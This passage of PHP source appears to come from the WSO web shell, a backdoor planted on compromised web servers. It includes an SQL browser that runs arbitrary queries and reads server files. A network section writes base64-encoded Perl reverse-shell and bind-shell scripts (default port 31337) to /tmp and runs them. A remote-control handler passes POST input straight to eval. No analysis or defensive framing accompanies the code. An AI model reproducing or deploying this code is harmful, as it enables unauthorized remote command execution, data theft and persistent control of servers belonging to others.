           echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
        }
        echo '</select>';
     }
     else echo $tmp;
  }else
     echo $tmp;
  echo "</td>
           <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
               <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
        </tr>
     </table>
     <script>
           s_db='".@addslashes($_POST['sql_base'])."';
           function fs(f) {
               if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                   if(f.p1) f.p1.value='';
                   if(f.p2) f.p2.value='';
                   if(f.p3) f.p3.value='';
               }
           }
        function st(t,l) {
           d.sf.p1.value = 'select';
           d.sf.p2.value = t;
               if(l && d.sf.p3) d.sf.p3.value = l;
           d.sf.submit();
        }
        function is() {
           for(i=0;i<d.sf.elements['tbl[]'].length;++i)
              d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
        }
     </script>";
  if(isset($db) && $db->link){
     echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
        if(!empty($_POST['sql_base'])){
           $db->selectdb($_POST['sql_base']);
           echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
           $tbls_res = $db->listTables();
           while($item = $db->fetch($tbls_res)) {
              list($key, $value) = each($item);
                   if(!empty($_POST['sql_count']))
                       $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '. $value.''));
              $value = htmlspecialchars($value);
              echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
           }
           echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
           if(@$_POST['p1'] == 'select') {
              $_POST['p1'] = 'query';
                   $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
              $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
              $num = $db->fetch();
              $pages = ceil($num['n'] / 30);
                   echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\",
```

```
d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page #
<input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                    echo " of $pages";
                    if($_POST['p3'] > 1)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' .
($_POST['p3']-1) . ")'>&lt; Prev</a>";
                    if($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' .
($_POST['p3']+1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
               if($_POST['type']=='pgsql')
                  $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.
($_POST['p3']*30);
               else
                  $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST
['p3']*30).',30';
               echo "<br><br>";
            }
            if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
               $db->query(@$_POST['p2']);
               if($db->res !== false) {
                  $title = false;
                  echo '<table width=100% cellspacing=1 cellpadding=2 class=main
style="background-color:#292929">';
                  $line = 1;
                  while($item = $db->fetch())   {
                     if(!$title) {
                        echo '<tr>';
                        foreach($item as $key => $value)
                           echo '<th>'.$key.'</th>';
                        reset($item);
                        $title=true;
                        echo '</tr><tr>';
                        $line = 2;
                     }
                     echo '<tr class="l'.$line.'">';
                     $line = $line==1?2:1;
                     foreach($item as $key => $value) {
                        if($value == null)
                           echo '<td><i>null</i></td>';
                        else
                           echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
                     }
                     echo '</tr>';
                  }
                  echo '</table>';
               } else {
                  echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
               }
            }
            echo "<br></form><form onsubmit='d.sf.p1.value=\"query
\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea
name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
            echo "</td></tr>";
         }
         echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`)
= USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile
\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load
file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></
form>";

```

```
1452            }
1453         if(@$_POST['p1'] == 'loadfile') {
1454            $file = $db->loadFile($_POST['p2']);
1455            echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1456         }
1457   } else {
1458        echo htmlspecialchars($db->error());
1459    }
1460   echo '</div>';
1461   wsoFooter();
1462 }
1463 function actionNetwork() {
1464   wsoHeader();
1465
     $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVls
     wXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx
     8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0V
     ULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFN
     PQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9
     wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9
     zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1466
     $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgey
     BleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYn
     luYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0
     tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IG
     RpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQ
     p3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IG
     ZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj
     4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI
     +JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjs
     NCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1467   echo "<h1>Network tools</h1><div class=content>
1468   <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1469   <span>Bind port to /bin/sh [perl]</span><br/>
1470   Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1471   </form>
1472   <form name='nfp' onSubmit=\"g
     (null,null,'bcp',this.server.value,this.port.value);return false;\">
1473   <span>Back-connect  [perl]</span><br/>
1474   Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'>
     Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1475   </form><br>";
1476   if(isset($_POST['p1'])) {
1477      function cf($f,$t) {
1478         $w = @fopen($f,"w") or @function_exists('file_put_contents');
1479         if($w){
1480            @fwrite($w,@base64_decode($t));
1481            @fclose($w);
1482         }
1483      }
1484      if($_POST['p1'] == 'bpp') {
1485         cf("/tmp/bp.pl",$bind_port_p);
1486         $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1487            sleep(1);
1488         echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1489            unlink("/tmp/bp.pl");
1490      }
1491      if($_POST['p1'] == 'bcp') {
1492         cf("/tmp/bc.pl",$back_connect_p);
1493         $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null
     2>&1 &");
1494            sleep(1);
1495         echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1496            unlink("/tmp/bc.pl");
1497      }
1498   }
1499
```

```
   echo '</div>';
   wsoFooter();
}
function actionRC() {
   if(!@$_POST['p1']) {
      $a = array(
         "uname" => php_uname(),
         "php_version" => phpversion(),
         "wso_version" => WSO_VERSION,
         "safemode" => @ini_get('safe_mode')
      );
      echo serialize($a);
   } else {
      eval($_POST['p1']);
   }
}
if( empty($_POST['a']) )
   if(isset($default_action) && function_exists('action' . $default_action))
      $_POST['a'] = $default_action;
   else
      $_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
   call_user_func('action' . $_POST['a']);
exit;
```